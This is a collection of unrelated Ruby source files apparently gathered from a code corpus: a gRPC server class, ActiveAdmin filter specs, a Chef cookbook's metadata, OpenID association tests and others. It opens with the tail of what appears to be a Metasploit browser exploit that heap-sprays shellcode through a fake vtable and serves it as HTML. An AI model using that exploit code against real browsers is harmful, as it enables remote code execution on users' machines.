unescape("\x00#{fakevtable}"); var #{js_sc_name} = unescape("#{escaped_payload}"); var #{js_ret_addr_name} = unescape("#{fakefunc}"); while(#{js_ret_addr_name}.length < 0x120) { #{js_ret_addr_name} += #{js_ret_addr_name}; } var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18); #{js_chunk_name} += #{js_sc_name}; #{js_chunk_name} += #{js_ret_addr_name}; var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2); while(#{js_final_chunk_name}.length < 0x800000) { #{js_final_chunk_name} += #{js_final_chunk_name}; } var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2); #{js_array_name} = new Array() for(n = 0; n < 0x220; n++) { #{js_array_name}[n] = #{js_block_name} + #{js_sc_name}; } JS html = <<-HTML <html> <body> <object id="d"><object> <script type="text/javascript"> #{exploit_js} </script> </body> </html> HTML # remove the extra tabs html = html.gsub(/^ {4}/, '') print_status("Sending #{self.name}") send_response_html(cli, html, { 'Content-Type' => 'text/html' }) # handle the payload handler(cli) end end
31.849057
126
0.583728
7a8f09ceacba133aec244efa0d3c43f8ada60813
7,932
# frozen_string_literal: true # Copyright (c) 2017-present, BigCommerce Pty. Ltd. All rights reserved # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated # documentation files (the "Software"), to deal in the Software without restriction, including without limitation the # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or substantial portions of the # Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE # WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR # COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR # OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # module Gruf ## # Represents a gRPC server. Automatically loads and augments gRPC handlers and services # based on configuration values. # class Server class ServerAlreadyStartedError < StandardError; end KILL_SIGNALS = %w[INT TERM QUIT].freeze include Gruf::Loggable # @!attribute [r] port # @return [Integer] The port the server is bound to attr_reader :port # @!attribute [r] options # @return [Hash] Hash of options passed into the server attr_reader :options ## # Initialize the server and load and setup the services # # @param [Hash] opts # def initialize(opts = {}) @options = opts || {} @interceptors = opts.fetch(:interceptor_registry, Gruf.interceptors) @interceptors = Gruf::Interceptors::Registry.new unless @interceptors.is_a?(Gruf::Interceptors::Registry) @services = [] @started = false @hostname = opts.fetch(:hostname, Gruf.server_binding_url) @event_listener_proc = opts.fetch(:event_listener_proc, Gruf.event_listener_proc) setup end ## # @return [GRPC::RpcServer] The GRPC server running # def server @server ||= begin # For backward compatibility, we allow these options to be passed directly # in the Gruf::Server options, or via Gruf.rpc_server_options. server_options = { pool_size: options.fetch(:pool_size, Gruf.rpc_server_options[:pool_size]), max_waiting_requests: options.fetch(:max_waiting_requests, Gruf.rpc_server_options[:max_waiting_requests]), poll_period: options.fetch(:poll_period, Gruf.rpc_server_options[:poll_period]), pool_keep_alive: options.fetch(:pool_keep_alive, Gruf.rpc_server_options[:pool_keep_alive]), connect_md_proc: options.fetch(:connect_md_proc, Gruf.rpc_server_options[:connect_md_proc]), server_args: options.fetch(:server_args, Gruf.rpc_server_options[:server_args]) } server = if @event_listener_proc server_options[:event_listener_proc] = @event_listener_proc Gruf::InstrumentableGrpcServer.new(**server_options) else GRPC::RpcServer.new(**server_options) end @port = server.add_http2_port(@hostname, ssl_credentials) @services.each { |s| server.handle(s) } server end end ## # Start the gRPC server # # :nocov: def start! update_proc_title(:starting) server_thread = Thread.new do logger.info { "Starting gruf server at #{@hostname}..." } server.run_till_terminated_or_interrupted(KILL_SIGNALS) end @started = true update_proc_title(:serving) server_thread.join @started = false update_proc_title(:stopped) logger.info { 'Goodbye!' } end # :nocov: ## # Add a gRPC service stub to be served by gruf # # @param [Class] klass # @raise [ServerAlreadyStartedError] if the server is already started # def add_service(klass) raise ServerAlreadyStartedError if @started @services << klass unless @services.include?(klass) end ## # Add an interceptor to the server # # @param [Class] klass The Interceptor to add to the registry # @param [Hash] opts A hash of options for the interceptor # @raise [ServerAlreadyStartedError] if the server is already started # def add_interceptor(klass, opts = {}) raise ServerAlreadyStartedError if @started @interceptors.use(klass, opts) end ## # Insert an interceptor before another in the currently registered order of execution # # @param [Class] before_class The interceptor that you want to add the new interceptor before # @param [Class] interceptor_class The Interceptor to add to the registry # @param [Hash] opts A hash of options for the interceptor # def insert_interceptor_before(before_class, interceptor_class, opts = {}) raise ServerAlreadyStartedError if @started @interceptors.insert_before(before_class, interceptor_class, opts) end ## # Insert an interceptor after another in the currently registered order of execution # # @param [Class] after_class The interceptor that you want to add the new interceptor after # @param [Class] interceptor_class The Interceptor to add to the registry # @param [Hash] opts A hash of options for the interceptor # def insert_interceptor_after(after_class, interceptor_class, opts = {}) raise ServerAlreadyStartedError if @started @interceptors.insert_after(after_class, interceptor_class, opts) end ## # Return the current list of added interceptor classes # # @return [Array<Class>] # def list_interceptors @interceptors.list end ## # Remove an interceptor from the server # # @param [Class] klass # def remove_interceptor(klass) raise ServerAlreadyStartedError if @started @interceptors.remove(klass) end ## # Clear the interceptor registry of interceptors # def clear_interceptors raise ServerAlreadyStartedError if @started @interceptors.clear end private ## # Setup server # # :nocov: def setup load_controllers end # :nocov: ## # Auto-load all gRPC handlers # # :nocov: def load_controllers return unless File.directory?(controllers_path) path = File.realpath(controllers_path) $LOAD_PATH.unshift(path) Dir["#{path}/**/*.rb"].each do |f| next if f.include?('_pb') # exclude if people include proto generated files in app/rpc logger.info "- Loading gRPC service file: #{f}" load File.realpath(f) end end # :nocov: ## # @param [String] # def controllers_path options.fetch(:controllers_path, Gruf.controllers_path) end ## # Load the SSL/TLS credentials for this server # # @return [GRPC::Core::ServerCredentials|Symbol] # # :nocov: def ssl_credentials return :this_port_is_insecure unless options.fetch(:use_ssl, Gruf.use_ssl) private_key = File.read(options.fetch(:ssl_key_file, Gruf.ssl_key_file)) cert_chain = File.read(options.fetch(:ssl_crt_file, Gruf.ssl_crt_file)) certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false] GRPC::Core::ServerCredentials.new(*certs) end # :nocov: ## # Updates proc name/title # # @param [Symbol] state # # :nocov: def update_proc_title(state) Process.setproctitle("gruf #{Gruf::VERSION} -- #{state}") end # :nocov: end end
32.11336
120
0.675744
d5f3f9bb659b2945a485841398a980ee2d105ada
18,369
require 'rails_helper' RSpec.describe ActiveAdmin::Filters::ViewHelper do # Setup an ActionView::Base object which can be used for # generating the form for. let(:helpers) do view = action_view def view.collection_path "/posts" end def view.protect_against_forgery? false end def view.a_helper_method "A Helper Method" end view end def render_filter(search, filters) render_arbre_component({filter_args: [search, filters]}, helpers) do text_node active_admin_filters_form_for *assigns[:filter_args] end.to_s end def filter(name, options = {}) render_filter scope, name => options end let(:scope) { Post.search } describe "the form in general" do let(:body) { Capybara.string(filter :title) } it "should generate a form which submits via get" do expect(body).to have_selector("form.filter_form[method=get]") end it "should generate a filter button" do expect(body).to have_selector("input[type=submit][value=Filter]") end it "should only generate the form once" do expect(body).to have_selector("form", count: 1) end it "should generate a clear filters link" do expect(body).to have_selector("a.clear_filters_btn", text: "Clear Filters") end describe "label as proc" do let(:body) { Capybara.string(filter :title, label: proc { 'Title from proc' }) } it "should render proper label" do expect(body).to have_selector("label", text: "Title from proc") end end end describe "string attribute" do let(:body) { Capybara.string(filter :title) } it "should generate a select option for starts with" do expect(body).to have_selector("option[value=title_starts_with]", text: "Starts with") end it "should generate a select option for ends with" do expect(body).to have_selector("option[value=title_ends_with]", text: "Ends with") end it "should generate a select option for contains" do expect(body).to have_selector("option[value=title_contains]", text: "Contains") end it "should generate a text field for input" do expect(body).to have_selector("input[name='q[title_contains]']") end it "should have a proper label" do expect(body).to have_selector("label", text: "Title") end it "should translate the label for text field" do with_translation activerecord: {attributes: {post: {title: 'Name'}}} do expect(body).to have_selector("label", text: "Name") end end it "should select the option which is currently being filtered" do scope = Post.search title_starts_with: "foo" body = Capybara.string(render_filter scope, title: {}) expect(body).to have_selector("option[value=title_starts_with][selected=selected]", text: "Starts with") end context "with filters options" do let(:body) { Capybara.string(filter :title, filters: [:contains, :starts_with]) } it "should generate provided options for filter select" do expect(body).to have_selector("option[value=title_contains]", text: "Contains") expect(body).to have_selector("option[value=title_starts_with]", text: "Starts with") end it "should not generate a select option for ends with" do expect(body).not_to have_selector("option[value=title_ends_with]") end end context "with predicate" do %w[eq equals cont contains start starts_with end ends_with].each do |predicate| describe "'#{predicate}'" do let(:body) { Capybara.string(filter :"title_#{predicate}") } it "shouldn't include a select field" do expect(body).not_to have_selector("select") end it "should build correctly" do expect(body).to have_selector("input[name='q[title_#{predicate}]']") end end end end end describe "text attribute" do let(:body) { Capybara.string(filter :body) } it "should generate a search field for a text attribute" do expect(body).to have_selector("input[name='q[body_contains]']") end it "should have a proper label" do expect(body).to have_selector("label", text: "Body") end end describe "string attribute, as a select" do let(:body) { filter :title, as: :select } let(:builder) { ActiveAdmin::Inputs::Filters::SelectInput } context "when loading collection from DB" do it "should use pluck for efficiency" do expect_any_instance_of(builder).to receive(:pluck_column) { [] } body end it "should remove original ordering to prevent PostgreSQL error" do expect(scope.object.klass).to receive(:reorder).with('title asc') { distinct = ActiveAdmin::Dependency.rails >= 4 ? :distinct : :uniq m = double distinct => double(pluck: ['A Title']) expect(m.send(distinct)).to receive(:pluck).with :title m } body end end end describe "date attribute" do let(:body) { Capybara.string(filter :published_date) } it "should generate a date greater than" do expect(body).to have_selector("input.datepicker[name='q[published_date_gteq]']") end it "should generate a seperator" do expect(body).to have_selector("span.seperator") end it "should generate a date less than" do expect(body).to have_selector("input.datepicker[name='q[published_date_lteq]']") end end describe "datetime attribute" do let(:body) { Capybara.string(filter :created_at) } it "should generate a date greater than" do expect(body).to have_selector("input.datepicker[name='q[created_at_gteq_datetime]']") end it "should generate a seperator" do expect(body).to have_selector("span.seperator") end it "should generate a date less than" do expect(body).to have_selector("input.datepicker[name='q[created_at_lteq_datetime]']") end end describe "integer attribute" do context "without options" do let(:body) { Capybara.string(filter :id) } it "should generate a select option for equal to" do expect(body).to have_selector("option[value=id_equals]", text: "Equals") end it "should generate a select option for greater than" do expect(body).to have_selector("option[value=id_greater_than]", text: "Greater than") end it "should generate a select option for less than" do expect(body).to have_selector("option[value=id_less_than]", text: "Less than") end it "should generate a text field for input" do expect(body).to have_selector("input[name='q[id_equals]']") end it "should select the option which is currently being filtered" do scope = Post.search id_greater_than: 1 body = Capybara.string(render_filter scope, id: {}) expect(body).to have_selector("option[value=id_greater_than][selected=selected]", text: "Greater than") end end context "with filters options" do let(:body) { Capybara.string(filter :id, filters: [:equals, :greater_than]) } it "should generate provided options for filter select" do expect(body).to have_selector("option[value=id_equals]", text: "Equals") expect(body).to have_selector("option[value=id_greater_than]", text: "Greater than") end it "should not generate a select option for less than" do expect(body).not_to have_selector("option[value=id_less_than]") end end end describe "boolean attribute" do context "boolean datatypes" do let(:body) { Capybara.string(filter :starred) } it "should generate a select" do expect(body).to have_selector("select[name='q[starred_eq]']") end it "should set the default text to 'Any'" do expect(body).to have_selector("option[value='']", text: "Any") end it "should create an option for true and false" do expect(body).to have_selector("option[value=true]", text: "Yes") expect(body).to have_selector("option[value=false]", text: "No") end it "should translate the label for boolean field" do with_translation activerecord: {attributes: {post: {starred: 'Faved'}}} do expect(body).to have_selector("label", text: "Faved") end end end context "non-boolean data types" do let(:body) { Capybara.string(filter :title_present, as: :boolean) } it "should generate a select" do expect(body).to have_selector("select[name='q[title_present]']") end it "should set the default text to 'Any'" do expect(body).to have_selector("option[value='']", text: "Any") end it "should create an option for true and false" do expect(body).to have_selector("option[value=true]", text: "Yes") expect(body).to have_selector("option[value=false]", text: "No") end end end describe "belongs_to" do before do @john = User.create first_name: "John", last_name: "Doe", username: "john_doe" @jane = User.create first_name: "Jane", last_name: "Doe", username: "jane_doe" end context "when given as the _id attribute name" do let(:body) { Capybara.string(filter :author_id) } it "should generate a numeric filter" do expect(body).to have_selector("label", text: "Author") # really this should be Author ID :/) expect(body).to have_selector("option[value=author_id_less_than]") expect(body).to have_selector("input#q_author_id[name='q[author_id_equals]']") end end context "when given as the name of the relationship" do let(:body) { Capybara.string(filter :author) } it "should generate a select" do expect(body).to have_selector("select[name='q[author_id_eq]']") end it "should set the default text to 'Any'" do expect(body).to have_selector("option[value='']", text: "Any") end it "should create an option for each related object" do expect(body).to have_selector("option[value='#{@john.id}']", text: "John Doe") expect(body).to have_selector("option[value='#{@jane.id}']", text: "Jane Doe") end context "with a proc" do let :body do Capybara.string(filter :title, as: :select, collection: proc{ ['Title One', 'Title Two'] }) end it "should use call the proc as the collection" do expect(body).to have_selector("option", text: "Title One") expect(body).to have_selector("option", text: "Title Two") end it "should render the collection in the context of the view" do body = Capybara.string(filter(:title, as: :select, collection: proc{[a_helper_method]})) expect(body).to have_selector("option", text: "A Helper Method") end end end context "as check boxes" do let(:body) { Capybara.string(filter :author, as: :check_boxes) } it "should create a check box for each related object" do expect(body).to have_selector("input[type=checkbox][name='q[author_id_in][]'][value='#{@jane.id}']") expect(body).to have_selector("input[type=checkbox][name='q[author_id_in][]'][value='#{@jane.id}']") end end context "when polymorphic relationship" do let(:scope) { ActiveAdmin::Comment.search } it "should raise an error if a collection isn't provided" do expect { filter :resource }.to raise_error \ Formtastic::PolymorphicInputWithoutCollectionError end end context "when using a custom foreign key" do let(:scope) { Post.search } let(:body) { Capybara.string(filter :category) } it "should ignore that foreign key and let Ransack handle it" do expect(Post.reflect_on_association(:category).foreign_key).to eq :custom_category_id expect(body).to have_selector("select[name='q[category_id_eq]']") end end end # belongs to describe "has_and_belongs_to_many" do skip "add HABTM models so this can be tested" end describe "has_many :through" do # Setup an ActionView::Base object which can be used for # generating the form for. let(:helpers) do view = action_view def view.collection_path "/categories" end def view.protect_against_forgery? false end def view.a_helper_method "A Helper Method" end view end let(:scope) { Category.search } let!(:john) { User.create first_name: "John", last_name: "Doe", username: "john_doe" } let!(:jane) { User.create first_name: "Jane", last_name: "Doe", username: "jane_doe" } context "when given as the name of the relationship" do let(:body) { Capybara.string(filter :authors) } it "should generate a select" do expect(body).to have_selector("select[name='q[posts_author_id_eq]']") end it "should set the default text to 'Any'" do expect(body).to have_selector("option[value='']", text: "Any") end it "should create an option for each related object" do expect(body).to have_selector("option[value='#{john.id}']", text: "John Doe") expect(body).to have_selector("option[value='#{jane.id}']", text: "Jane Doe") end end context "as check boxes" do let(:body) { Capybara.string(filter :authors, as: :check_boxes) } it "should create a check box for each related object" do expect(body).to have_selector("input[name='q[posts_author_id_in][]'][type=checkbox][value='#{john.id}']") expect(body).to have_selector("input[name='q[posts_author_id_in][]'][type=checkbox][value='#{jane.id}']") end end end describe "conditional display" do [:if, :unless].each do |verb| should = verb == :if ? "should" : "shouldn't" if_true = verb == :if ? :to : :to_not if_false = verb == :if ? :to_not : :to context "with #{verb.inspect} proc" do it "#{should} be displayed if true" do body = Capybara.string(filter :body, verb => proc{ true }) expect(body).send if_true, have_selector("input[name='q[body_contains]']") end it "#{should} be displayed if false" do body = Capybara.string(filter :body, verb => proc{ false }) expect(body).send if_false, have_selector("input[name='q[body_contains]']") end it "should still be hidden on the second render" do filters = {body: { verb => proc{ verb == :unless }}} 2.times do body = Capybara.string(render_filter scope, filters) expect(body).not_to have_selector("input[name='q[body_contains]']") end end it "should successfully keep rendering other filters after one is hidden" do filters = {body: { verb => proc{ verb == :unless }}, author: {}} body = Capybara.string(render_filter scope, filters) expect(body).not_to have_selector("input[name='q[body_contains]']") expect(body).to have_selector("select[name='q[author_id_eq]']") end end end end describe "custom search methods" do it "should use the default type of the ransacker" do body = Capybara.string(filter :custom_searcher_numeric) expect(body).to have_selector("option[value=custom_searcher_numeric_equals]") expect(body).to have_selector("option[value=custom_searcher_numeric_greater_than]") expect(body).to have_selector("option[value=custom_searcher_numeric_less_than]") end it "should work as select" do body = Capybara.string(filter :custom_title_searcher, as: :select, collection: ['foo']) expect(body).to have_selector("select[name='q[custom_title_searcher_eq]']") end it "should work as string" do body = Capybara.string(filter :custom_title_searcher, as: :string) expect(body).to have_selector("option[value=custom_title_searcher_contains]") expect(body).to have_selector("option[value=custom_title_searcher_starts_with]") end describe "custom date range search" do let(:qteq) { "2010-10-01" } let(:lteq) { "2010-10-02" } let(:scope){ Post.search custom_created_at_searcher_gteq_datetime: qteq, custom_created_at_searcher_lteq_datetime: lteq } let(:body) { Capybara.string(render_filter scope, custom_created_at_searcher: {as: :date_range}) } it "should work as date_range" do expect(body).to have_selector("input[name='q[custom_created_at_searcher_gteq_datetime]'][value='2010-10-01']") expect(body).to have_selector("input[name='q[custom_created_at_searcher_lteq_datetime]'][value='2010-10-02']") end context "filter value can't be casted to date" do let(:qteq) { "Ooops" } let(:lteq) { "Ooops" } it "should work display empty filter values" do expect(body).to have_selector("input[name='q[custom_created_at_searcher_gteq_datetime]'][value='']") expect(body).to have_selector("input[name='q[custom_created_at_searcher_lteq_datetime]'][value='']") end end end end describe "does not support some filter inputs" do it "should fallback to use formtastic inputs" do body = Capybara.string(filter :custom_title_searcher, as: :text) expect(body).to have_selector("textarea[name='q[custom_title_searcher]']") end end describe "blank option" do context "for a select filter" do it "should be there by default" do body = Capybara.string(filter(:author)) expect(body).to have_selector("option", text: "Any") end it "should be able to be disabled" do body = Capybara.string(filter(:author, include_blank: false)) expect(body).to_not have_selector("option", text: "Any") end end context "for a multi-select filter" do it "should not be there by default" do body = Capybara.string(filter(:author, multiple: true)) expect(body).to_not have_selector("option", text: "Any") end it "should be able to be enabled" do body = Capybara.string(filter(:author, multiple: true, include_blank: true)) expect(body).to have_selector("option", text: "Any") end end end end
36.591633
127
0.652676
bb0eeb5d5014d8db6c5ccfa59f301c869ec06ed0
483
module Specifier # Configures a definition (used for let statements). # # Usage: # # definition = Specifier::Definition.new("...") do # # ... # end # # definition.define(object) # class Definition def initialize(name, &block) @name = name @memoizer = Memoizer.new(&block) end def define(object) memoizer = @memoizer object.define_singleton_method(@name) do memoizer.evaluate end end end end
16.655172
54
0.592133
e9b39a5c917d7eb8a5978458dff5ab35d08a77bb
799
#!/usr/bin/env ruby require 'librets' require 'pp' include Librets begin session = RetsSession.new("http://demo.crt.realtors.org:6103/rets/login") puts "Logging into #{session.login_url}" if !session.login("Joe", "Schmoe") puts "Invalid login" exit 1 end puts "Member name: " + session.login_response.member_name puts "Search URL: " + session.capability_urls.search_url puts "Action: " + session.action version = "1.0" version = "1.5" if (session.detected_rets_version == RETS_1_5) puts "RETS Version: " + version logout = session.logout() puts "Billing info: " + logout.billing_info puts "Logout message: " + logout.logout_message puts "Connect time: " + logout.connect_time.to_s rescue RetsException => e puts e end
23.5
77
0.669587
edbc53eb731052f1c3c47ff92b9678b59677508a
137
class AddIsAdminToUsers < ActiveRecord::Migration[5.1] def change add_column :users, :is_admin, :boolean, default: false end end
22.833333
58
0.744526
bb3429586e47dcc2b9e2f1f3cfc7e8d87ea37bf5
1,150
name 'jira' maintainer 'KLM Royal Dutch Airlines' maintainer_email '[email protected]' license 'Apache 2.0' description 'Installs/Configures Atlassian JIRA.' version '10.0.4' source_url 'https://github.com/afklm/jira' issues_url 'https://github.com/afklm/jira/issues' recipe 'jira', 'Installs/configures Atlassian JIRA' recipe 'jira::apache2', 'Installs/configures Apache 2 as proxy (ports 80/443)' recipe 'jira::container_server_configuration', 'Configures container server for JIRA deployment' recipe 'jira::database', 'Installs/configures MySQL/Postgres server, database, and user for JIRA' recipe 'jira::installer', 'Installs/configures JIRA via installer' recipe 'jira::autotune', 'Tries to autotune settings/attributes for performance' recipe 'jira::standalone', 'Installs/configures JIRA via standalone archive' recipe 'jira::sysv', 'Installs/configures JIRA SysV init service' depends 'apache2' depends 'ark' depends 'database' depends 'java' depends 'mysql', '>= 6.0' depends 'mysql_connector' depends 'mysql2_chef_gem' depends 'postgresql' supports 'centos', '>= 6.0' supports 'redhat', '>= 6.0' supports 'ubuntu', '>= 12.04'
37.096774
97
0.769565
1d880292672da3a27ee8f86ecee73007cd40ecbd
29,939
require "minitest/autorun" require "testutil" require "openid/consumer/associationmanager" require "openid/association" require "openid/dh" require "openid/util" require "openid/cryptutil" require "openid/message" require "openid/protocolerror" require "openid/store/memory" require "util" require "time" module OpenID class DHAssocSessionTest < Minitest::Test def test_sha1_get_request # Initialized without an explicit DH gets defaults sess = Consumer::DiffieHellmanSHA1Session.new assert_equal(['dh_consumer_public'], sess.get_request.keys) Util::from_base64(sess.get_request['dh_consumer_public']) end def test_sha1_get_request_custom_dh dh = DiffieHellman.new(1299721, 2) sess = Consumer::DiffieHellmanSHA1Session.new(dh) req = sess.get_request assert_equal(['dh_consumer_public', 'dh_modulus', 'dh_gen'].sort, req.keys.sort) assert_equal(dh.modulus, CryptUtil.base64_to_num(req['dh_modulus'])) assert_equal(dh.generator, CryptUtil.base64_to_num(req['dh_gen'])) Util::from_base64(req['dh_consumer_public']) end end module TestDiffieHellmanResponseParametersMixin def setup session_cls = self.class.session_cls # Pre-compute DH with small prime so tests run quickly. @server_dh = DiffieHellman.new(100389557, 2) @consumer_dh = DiffieHellman.new(100389557, 2) # base64(btwoc(g ^ xb mod p)) @dh_server_public = CryptUtil.num_to_base64(@server_dh.public) @secret = CryptUtil.random_string(session_cls.secret_size) enc_mac_key_unencoded = @server_dh.xor_secret(session_cls.hashfunc, @consumer_dh.public, @secret) @enc_mac_key = Util.to_base64(enc_mac_key_unencoded) @consumer_session = session_cls.new(@consumer_dh) @msg = Message.new(self.class.message_namespace) end def test_extract_secret @msg.set_arg(OPENID_NS, 'dh_server_public', @dh_server_public) @msg.set_arg(OPENID_NS, 'enc_mac_key', @enc_mac_key) extracted = @consumer_session.extract_secret(@msg) assert_equal(extracted, @secret) end def test_absent_serve_public @msg.set_arg(OPENID_NS, 'enc_mac_key', @enc_mac_key) assert_raises(Message::KeyNotFound) { @consumer_session.extract_secret(@msg) } end def test_absent_mac_key @msg.set_arg(OPENID_NS, 'dh_server_public', @dh_server_public) assert_raises(Message::KeyNotFound) { @consumer_session.extract_secret(@msg) } end def test_invalid_base64_public @msg.set_arg(OPENID_NS, 'dh_server_public', 'n o t b a s e 6 4.') @msg.set_arg(OPENID_NS, 'enc_mac_key', @enc_mac_key) assert_raises(ArgumentError) { @consumer_session.extract_secret(@msg) } end def test_invalid_base64_mac_key @msg.set_arg(OPENID_NS, 'dh_server_public', @dh_server_public) @msg.set_arg(OPENID_NS, 'enc_mac_key', 'n o t base 64') assert_raises(ArgumentError) { @consumer_session.extract_secret(@msg) } end end class TestConsumerOpenID1DHSHA1 < Minitest::Test include TestDiffieHellmanResponseParametersMixin class << self attr_reader :session_cls, :message_namespace end @session_cls = Consumer::DiffieHellmanSHA1Session @message_namespace = OPENID1_NS end class TestConsumerOpenID2DHSHA1 < Minitest::Test include TestDiffieHellmanResponseParametersMixin class << self attr_reader :session_cls, :message_namespace end @session_cls = Consumer::DiffieHellmanSHA1Session @message_namespace = OPENID2_NS end class TestConsumerOpenID2DHSHA256 < Minitest::Test include TestDiffieHellmanResponseParametersMixin class << self attr_reader :session_cls, :message_namespace end @session_cls = Consumer::DiffieHellmanSHA256Session @message_namespace = OPENID2_NS end class TestConsumerNoEncryptionSession < Minitest::Test def setup @sess = Consumer::NoEncryptionSession.new end def test_empty_request assert_equal(@sess.get_request, {}) end def test_get_secret secret = 'shhh!' * 4 mac_key = Util.to_base64(secret) msg = Message.from_openid_args({'mac_key' => mac_key}) assert_equal(secret, @sess.extract_secret(msg)) end end class TestCreateAssociationRequest < Minitest::Test def setup @server_url = 'http://invalid/' @assoc_manager = Consumer::AssociationManager.new(nil, @server_url) class << @assoc_manager def compatibility_mode=(val) @compatibility_mode = val end end @assoc_type = 'HMAC-SHA1' end def test_no_encryption_sends_type session_type = 'no-encryption' session, args = @assoc_manager.send(:create_associate_request, @assoc_type, session_type) assert(session.is_a?(Consumer::NoEncryptionSession)) expected = Message.from_openid_args( {'ns' => OPENID2_NS, 'session_type' => session_type, 'mode' => 'associate', 'assoc_type' => @assoc_type, }) assert_equal(expected, args) end def test_no_encryption_compatibility @assoc_manager.compatibility_mode = true session_type = 'no-encryption' session, args = @assoc_manager.send(:create_associate_request, @assoc_type, session_type) assert(session.is_a?(Consumer::NoEncryptionSession)) assert_equal(Message.from_openid_args({'mode' => 'associate', 'assoc_type' => @assoc_type, }), args) end def test_dh_sha1_compatibility @assoc_manager.compatibility_mode = true session_type = 'DH-SHA1' session, args = @assoc_manager.send(:create_associate_request, @assoc_type, session_type) assert(session.is_a?(Consumer::DiffieHellmanSHA1Session)) # This is a random base-64 value, so just check that it's # present. refute_nil(args.get_arg(OPENID1_NS, 'dh_consumer_public')) args.del_arg(OPENID1_NS, 'dh_consumer_public') # OK, session_type is set here and not for no-encryption # compatibility expected = Message.from_openid_args({'mode' => 'associate', 'session_type' => 'DH-SHA1', 'assoc_type' => @assoc_type, }) assert_equal(expected, args) end end class TestAssociationManagerExpiresIn < Minitest::Test def expires_in_msg(val) msg = Message.from_openid_args({'expires_in' => val}) Consumer::AssociationManager.extract_expires_in(msg) end def test_parse_fail ['', '-2', ' 1', ' ', '0x00', 'foosball', '1\n', '100,000,000,000', ].each do |x| assert_raises(ProtocolError) {expires_in_msg(x)} end end def test_parse ['0', '1', '1000', '9999999', '01', ].each do |n| assert_equal(n.to_i, expires_in_msg(n)) end end end class TestAssociationManagerCreateSession < Minitest::Test def test_invalid assert_raises(ArgumentError) { Consumer::AssociationManager.create_session('monkeys') } end def test_sha256 sess = Consumer::AssociationManager.create_session('DH-SHA256') assert(sess.is_a?(Consumer::DiffieHellmanSHA256Session)) end end module NegotiationTestMixin include TestUtil def mk_message(args) args['ns'] = @openid_ns Message.from_openid_args(args) end def call_negotiate(responses, negotiator=nil) store = nil compat = self.class::Compat assoc_manager = Consumer::AssociationManager.new(store, @server_url, compat, negotiator) class << assoc_manager attr_accessor :responses def request_association(assoc_type, session_type) m = @responses.shift if m.is_a?(Message) raise ServerError.from_message(m) else return m end end end assoc_manager.responses = responses assoc_manager.negotiate_association end end # Test the session type negotiation behavior of an OpenID 2 # consumer. class TestOpenID2SessionNegotiation < Minitest::Test include NegotiationTestMixin Compat = false def setup @server_url = 'http://invalid/' @openid_ns = OPENID2_NS end # Test the case where the response to an associate request is a # server error or is otherwise undecipherable. def test_bad_response assert_log_matches('Server error when requesting an association') { assert_nil(call_negotiate([mk_message({})])) } end # Test the case where the association type (assoc_type) returned # in an unsupported-type response is absent. def test_empty_assoc_type msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'session_type' => 'new-session-type', }) assert_log_matches('Unsupported association type', "Server #{@server_url} responded with unsupported "\ "association session but did not supply a fallback." ) { assert_nil(call_negotiate([msg])) } end # Test the case where the session type (session_type) returned # in an unsupported-type response is absent. def test_empty_session_type msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'new-assoc-type', }) assert_log_matches('Unsupported association type', "Server #{@server_url} responded with unsupported "\ "association session but did not supply a fallback." ) { assert_nil(call_negotiate([msg])) } end # Test the case where an unsupported-type response specifies a # preferred (assoc_type, session_type) combination that is not # allowed by the consumer's SessionNegotiator. def test_not_allowed negotiator = AssociationNegotiator.new([]) negotiator.instance_eval{ @allowed_types = [['assoc_bogus', 'session_bogus']] } msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'not-allowed', 'session_type' => 'not-allowed', }) assert_log_matches('Unsupported association type', 'Server sent unsupported session/association type:') { assert_nil(call_negotiate([msg], negotiator)) } end # Test the case where an unsupported-type response triggers a # retry to get an association with the new preferred type. def test_unsupported_with_retry msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'HMAC-SHA1', 'session_type' => 'DH-SHA1', }) assoc = Association.new('handle', 'secret', Time.now, 10000, 'HMAC-SHA1') assert_log_matches('Unsupported association type') { assert_equal(assoc, call_negotiate([msg, assoc])) } end # Test the case where an unsupported-typ response triggers a # retry, but the retry fails and nil is returned instead. def test_unsupported_with_retry_and_fail msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 'assoc_type' => 'HMAC-SHA1', 'session_type' => 'DH-SHA1', }) assert_log_matches('Unsupported association type', "Server #{@server_url} refused") { assert_nil(call_negotiate([msg, msg])) } end # Test the valid case, wherein an association is returned on the # first attempt to get one. def test_valid assoc = Association.new('handle', 'secret', Time.now, 10000, 'HMAC-SHA1') assert_log_matches() { assert_equal(call_negotiate([assoc]), assoc) } end end # Tests for the OpenID 1 consumer association session behavior. See # the docs for TestOpenID2SessionNegotiation. Notice that this # class is not a subclass of the OpenID 2 tests. Instead, it uses # many of the same inputs but inspects the log messages logged with # oidutil.log. See the calls to self.failUnlessLogMatches. Some of # these tests pass openid2-style messages to the openid 1 # association processing logic to be sure it ignores the extra data. class TestOpenID1SessionNegotiation < Minitest::Test include NegotiationTestMixin Compat = true def setup @server_url = 'http://invalid/' @openid_ns = OPENID1_NS end def test_bad_response assert_log_matches('Server error when requesting an association') { response = call_negotiate([mk_message({})]) assert_nil(response) } end def test_empty_assoc_type msg = mk_message({'error' => 'Unsupported type', 'error_code' => 'unsupported-type', 